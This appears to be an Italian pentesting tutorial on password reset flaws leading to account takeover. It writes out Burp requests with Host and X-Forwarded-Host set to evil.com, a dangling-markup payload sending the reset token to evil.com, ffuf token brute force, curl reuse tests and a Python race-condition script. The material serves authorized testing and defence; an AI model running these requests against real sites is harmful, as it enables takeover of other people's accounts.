web-hacking

Password Reset Attack: Tecniche, Exploit e Account Takeover

Password Reset Attack: Tecniche, Exploit e Account Takeover

Guida al Password Reset Attack: host header poisoning, token deboli, race condition, leak e tecniche pratiche per l’account takeover nei pentest web.

  • Pubblicato il 2026-08-04
  • Tempo di lettura: 8 min

Password Reset Attack: Tutte le Vulnerabilità nel Flusso di Reset Password #

Il password reset attack sfrutta le vulnerabilità nel meccanismo di recupero password di un’applicazione per prendere il controllo di account altrui. È uno dei vettori di account takeover più comuni nei bug bounty perché il flusso di reset è spesso implementato male: token prevedibili, link che non scadono, host header non validato, race condition.

Una sola di queste vulnerabilità è sufficiente per un account takeover completo senza conoscere la password della vittima.

OWASP classifica queste vulnerabilità in A07:2021 — Identification and Authentication Failures.

Vedi anche: account-takeover, 2fa-bypass, broken-authentication, session-hijacking.


Come Funziona il Reset Password (e Dove Si Rompe) #

Il flusso standard di un reset password è questo:

text
1. Utente inserisce la sua email → clicca "Forgot password"
2. Il server genera un token univoco e lo salva (DB o cache)
3. Il server manda una email con un link contenente il token:
   https://target.com/reset?token=abc123xyz
4. L'utente clicca il link, il server verifica il token
5. L'utente imposta la nuova password → token invalidato

Ogni passo può essere rotto. Vediamo come.


Tecnica 1 — Host Header Poisoning #

È la vulnerabilità più grave e più diffusa nel reset password. Il server usa il valore dell’header Host per costruire il link di reset che viene inviato via email. Se non valida quell’header, l’attaccante può far sì che il link punti al suo server.

Come funziona passo per passo:

text
1. L'attaccante manda una request di reset per l'email della vittima
   MA con Host: evil.com

2. Il server genera il token corretto, costruisce il link:
   https://evil.com/reset?token=TOKEN_VITTIMA
   (usa l'header Host senza validarlo)

3. Il server manda questa email alla vittima:
   "Clicca qui per resettare la password:
    https://evil.com/reset?token=TOKEN_VITTIMA"

4. La vittima clicca il link → va su evil.com → l'attaccante riceve il token

5. L'attaccante usa il token su target.com:
   https://target.com/reset?token=TOKEN_VITTIMA
   → imposta una nuova password → account takeover

Come testare con Burp:

bash
# Intercetta la request di reset password con Burp
# Modifica l'header Host prima di mandare

# Request originale:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/json
{"email": "victim@mail.com"}

# Request modificata:
POST /forgot-password HTTP/1.1
Host: evil.com                    ← modificato
Content-Type: application/json
{"email": "victim@mail.com"}

# Oppure usa X-Forwarded-Host (spesso trusted anche se Host è validato):
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com        ← aggiunto
{"email": "victim@mail.com"}

# Altri header da provare:
X-Host: evil.com
X-Original-URL: https://evil.com/reset
Forwarded: host=evil.com

Variante — Dangling Markup se l’email è HTML:

bash
# Se il link viene inserito in un attributo HTML senza encoding
# puoi iniettare markup che esfila il token anche senza controllare evil.com

Host: target.com"><img src="https://evil.com/?token=
# Il link generato nell'email diventa:
# <a href="https://target.com"><img src="https://evil.com/?token=TOKEN_VITTIMA">
# Quando l'email client carica l'immagine → token inviato al server dell'attaccante

Tecnica 2 — Token Prevedibile o Debole #

Il token di reset deve essere criptograficamente casuale e abbastanza lungo. Se è prevedibile, l’attaccante lo può indovinare.

Pattern di token deboli che trovi in bug bounty:

bash
# Timestamp (ms o secondi)
# Se il token è il timestamp di creazione → spazio di ricerca limitato
# Sai quando hai fatto la request → provi i timestamp in quel range

# MD5 o SHA1 dell'email
echo -n "victim@mail.com" | md5sum
# 5e8ff9bf55ba3508199d22e984129be6 → token prevedibile se conosci l'email

# Stringa sequenziale o incrementale
# token=abc001 → token=abc002 → token=abc003
# Registra un account → vedi il tuo token → provi quello precedente = token della vittima

# UUID v1 (basato su timestamp + MAC address)
# Se riesci a determinare il timestamp e il MAC address del server
# puoi prevedere gli UUID v1 generati prima e dopo il tuo

# Base64 di dati ovvi
echo -n "victim@mail.com|2024-01-15" | base64
# → token prevedibile

Come testare:

bash
# Passo 1: crea due account di test e richiedi il reset per entrambi
# rapidamente (pochi secondi di distanza)

# Passo 2: analizza i token ricevuti
TOKEN_A="abc123xyz789"
TOKEN_B="abc124xyz790"
# Se differiscono di poco → sequenziali o basati su timestamp → brute force

# Passo 3: richiedi reset per la vittima → cerca il token nel range tra A e B
# Con ffuf o Burp Intruder:
ffuf -u "https://target.com/reset-password?token=FUZZ" \
  -w <(cat tokens_da_provare.txt) \
  -mc 200 \
  -fr "invalid|expired|not found"

Tecnica 3 — Token Non Scade Dopo l’Uso #

Un token usato con successo deve essere immediatamente invalidato. Se il server non lo fa, lo stesso token funziona più volte.

Come testare:

bash
# Passo 1: richiedi un reset per il TUO account
# Passo 2: usa il token per resettare la password
curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VALIDO&password=NuovaPass123"
# → password cambiata con successo

# Passo 3: riusa lo stesso token
curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VALIDO&password=AltroNuovaPass"
# Se risponde 200 → token non invalidato dopo uso → vulnerabile

Tecnica 4 — Token Non Scade Nel Tempo (No Expiry) #

I token di reset devono avere una scadenza breve (15-60 minuti). Se il server non applica expiry, un token generato mesi fa è ancora valido.

Come testare:

bash
# Passo 1: richiedi un reset per il tuo account → ricevi il token
# Passo 2: NON usarlo. Aspetta 24-48 ore (o più se stai facendo un pentest lungo)
# Passo 3: prova il token vecchio

curl -X POST "https://target.com/reset-password" \
  -d "token=TOKEN_VECCHIO_24H&password=NuovaPass"
# Se risponde 200 → nessuna expiry → token eterni → brute force molto più fattibile

# Impatto: l'utente potrebbe aver richiesto un reset mesi fa e dimenticato il link
# Quella email nella sua inbox contiene un token ancora valido
# Chiunque acceda all'email (es. ex dipendente) può prendere l'account

Tecnica 5 — Token Trapelato nell’Header Referer #

Quando l’utente clicca il link di reset e viene portato alla pagina di nuova password, quella pagina potrebbe caricare risorse esterne (analytics, CDN, script di terze parti). Se il token è nell’URL, viene incluso nell’header Referer di ogni richiesta verso quelle risorse.

Come funziona:

text
1. Utente riceve il link: https://target.com/reset?token=abc123xyz
2. Clicca il link → la pagina di reset si carica
3. La pagina carica Google Analytics, un CDN, widget di chat
4. Il browser manda verso ogni risorsa esterna:
   Referer: https://target.com/reset?token=abc123xyz
5. Il provider di analytics (Google, Mixpanel, ecc.) riceve il token nel Referer

Come testare:

bash
# Analizza il source HTML della pagina di reset
curl "https://target.com/reset?token=abc123" | grep -iE "src=|href=|analytics|gtm|cdn"
# Cerca: Google Analytics (ga.js, gtag), GTM, Mixpanel, Hotjar, Intercom, CDN esterni

# Guarda il traffico di rete con Burp:
# 1. Clicca il link di reset (con token tuo)
# 2. In Burp Proxy History filtra le request verso domini esterni
# 3. Cerca l'header Referer → contiene il token?

# Se il token è nel Referer verso risorse di terze parti → vulnerabile
# In un contesto reale: l'attaccante controlla il server della risorsa esterna
# o usa un img tag iniettato nella pagina per catturare il Referer

Tecnica 6 — Reset Password Senza Conferma della Vecchia #

Alcune applicazioni permettono di cambiare la password dalla pagina account senza chiedere la password attuale. Se la sessione rimane attiva dopo il reset, un attaccante con accesso temporaneo (XSS, session hijacking, accesso fisico) può cambiare la password in modo permanente.

Come testare:

bash
# Vai nelle impostazioni account → cambio password
# Controlla se richiede la vecchia password

curl -X POST "https://target.com/account/change-password" \
  -H "Cookie: session=SESSION_VALIDA" \
  -H "Content-Type: application/json" \
  -d '{"new_password":"AttackerPass123","confirm_password":"AttackerPass123"}'
# Se non chiede old_password e risponde 200 → vulnerabile

# Combinazione con XSS:
# Inietti uno script che fa questa request mentre la vittima è loggata
# → cambio password silenzioso → ATO persistente

Tecnica 7 — Race Condition sul Token #

Se il server non gestisce correttamente la concorrenza, è possibile usare lo stesso token più volte inviando richieste in parallelo prima che il server riesca ad invalidarlo.

Come testare:

bash
# Richiedi un reset → ottieni il token
# Manda 20 richieste parallele con lo stesso token in 0.1 secondi

# Con Python (threading)
python3 - << 'EOF'
import requests
import threading

TOKEN = "IL_TUO_TOKEN"
URL = "https://target.com/reset-password"

def try_reset(i):
    r = requests.post(URL, data={
        "token": TOKEN,
        "password": f"Password{i}!"
    })
    print(f"Thread {i}: {r.status_code} - {r.text[:50]}")

threads = [threading.Thread(target=try_reset, args=(i,)) for i in range(20)]
for t in threads: t.start()
for t in threads: t.join()
EOF
# Se più di una richiesta risponde 200 → race condition confermata
# In un contesto reale: usi il token "rubato" in parallelo con la vittima

Tecnica 8 — Reset Password con Email Case Manipulation #

Alcune applicazioni normalizzano l’email durante la registrazione ma non durante il reset. Puoi richiedere il reset per una variante dell’email della vittima e ricevere il token sulla tua casella.

Come testare:

bash
# Email vittima: victim@mail.com
# Prova queste varianti nel form di reset:

# Uppercase
curl -X POST "https://target.com/forgot-password" \
  -d "email=VICTIM@MAIL.COM"

# Mixed case
curl -X POST "https://target.com/forgot-password" \
  -d "email=Victim@Mail.Com"

# Con spazio (alcuni parser lo strippano)
curl -X POST "https://target.com/forgot-password" \
  -d "email=victim@mail.com "

# Subaddressing (Gmail ignora il +tag, alcuni server no)
# Se controlli attacker+victim@gmail.com e victim@gmail.com è già registrato:
curl -X POST "https://target.com/forgot-password" \
  -d "email=attacker+victim@gmail.com"

# Unicode normalization (ä → ae in alcuni sistemi)
# Se l'email usa caratteri speciali

# Se il server manda il reset link all'email che hai fornito invece che
# all'email normalizzata nel DB → ricevi il token tu

Nei pentest su applicazioni enterprise, controlla se i reset link vengono loggati in sistemi accessibili:

bash
# Splunk / Elasticsearch / Kibana esposti
curl "https://target.com:9200/_search?q=reset+token"
curl "https://splunk.target.com/en-US/search?q=reset"

# Log applicativi esposti
curl "https://target.com/logs/app.log"
curl "https://target.com/storage/logs/laravel.log"  # Laravel

# Email di reset in Wayback Machine (a volte le email vengono indicizzate)
# Raro ma documentato in alcuni bug bounty report

Workflow Completo da Pentester #

Questo è l’ordine in cui testare quando hai davanti un form di “Forgot password”:

text
Step 1 — Host Header Poisoning
  → Intercetta la request con Burp
  → Cambia Host: evil.com → manda la request per la tua email di test
  → Controlla se il link di reset arriva con evil.com
  → Ripeti con X-Forwarded-Host, X-Host, Forwarded

Step 2 — Token Analysis
  → Richiedi 5-10 reset per il tuo account di test in rapida successione
  → Esamina i token: sono sequenziali? Basati su timestamp? Corti?
  → Se sì → brute force fattibile

Step 3 — Token Expiry
  → Richiedi un reset → aspetta 1h → prova il token
  → Se funziona ancora → no expiry

Step 4 — Token Invalidation
  → Usa il token → riusa lo stesso token → funziona ancora?

Step 5 — Referer Leak
  → Analizza il source della pagina di reset
  → Il token è nell'URL? Ci sono risorse esterne caricate?
  → Guarda il traffico in Burp: il token appare nel Referer?

Step 6 — Email Manipulation
  → Prova uppercase, mixed case, spazio finale, subaddressing
  → Il server manda il token all'email che hai fornito o a quella del DB?

Step 7 — Race Condition
  → Token trovato? Manda 10-20 richieste parallele in 100ms
  → Più di una risponde 200? → race condition

Step 8 — Account Change Without Old Password
  → Nelle impostazioni account: cambio password senza richiedere quella attuale?

Checklist #

text
HOST HEADER POISONING
☐ Host: evil.com → link di reset punta a evil.com?
☐ X-Forwarded-Host: evil.com → idem?
☐ X-Host: evil.com → idem?
☐ Dangling markup nell'email HTML?

TOKEN
☐ Token sequenziale o prevedibile?
☐ Token basato su timestamp → brute force nel range?
☐ Token è MD5/SHA1 dell'email?
☐ Token scade dopo 1h? (test: aspetta 2h e prova)
☐ Token invalidato dopo l'uso? (test: riusa dopo reset riuscito)
☐ Token brute forceable? (short token + no rate limit)

REFERER / LOG LEAK
☐ Token nell'URL della pagina di reset?
☐ Pagina carica risorse esterne con token nel Referer?
☐ Log applicativi esposti che contengono token?

EMAIL MANIPULATION
☐ UPPERCASE email → token inviato all'email maiuscola?
☐ Subaddressing (victim+tag@gmail.com)?
☐ Spazio trailing nell'email?

RACE CONDITION
☐ 20 richieste parallele con stesso token → più di una risponde 200?

CHANGE PASSWORD
☐ Cambio password senza richiedere quella attuale?

DOCUMENTAZIONE
☐ Screenshot request manomessa
☐ Screenshot email ricevuta (con token o con link a evil.com)
☐ Screenshot accesso all'account target

FAQ #

Host header poisoning: l’email arriva con evil.com ma non ho un server lì. Come catturo il token? Hai bisogno di un server HTTP in ascolto su evil.com. Il modo più semplice: registra un dominio, usa un VPS con nginx, e logga tutte le request in arrivo. In alternativa usa Burp Collaborator (ha già un server HTTP/DNS pronto) e metti TUOID.burpcollaborator.net come Host — ricevi notifica quando la vittima clicca il link.

Come testo il Host header poisoning senza colpire utenti reali? Usa sempre il TUO account di test. Inserisci la TUA email nel form di reset, poi modifica il Host header. Se il link ti arriva su evil.com → vulnerabilità confermata senza coinvolgere altri utenti.

Il token è lungo 64 caratteri esadecimali. È brute-forceable? No. Un token di 64 caratteri esadecimali è 256 bit di entropia — non è bruteforzabile con risorse ragionevoli. Concentrati su altre tecniche (host header, expiry, invalidation, race condition).

Trovo il token nella pagina di reset nell’URL. È un problema? Sì se la pagina carica risorse esterne senza strippare il Referer. Aggiungi <meta name="referrer" content="no-referrer"> nell’HTML per prevenirlo, o metti il token nel body della POST invece che nella query string.

Qual è la severità in un report? Host header poisoning che porta ad ATO → Critical. Token senza expiry + brute force → High. Token riusabile → High. Referer leak del token → Medium/High. Cambio password senza old_password → Medium (richiede sessione attiva).


Risorse #

#password-reset-attack #password-reset-poisoning #account-takeover #host-header-poisoning #broken-authentication #reset-token #race-condition

lascia un messaggio

Non sono un robot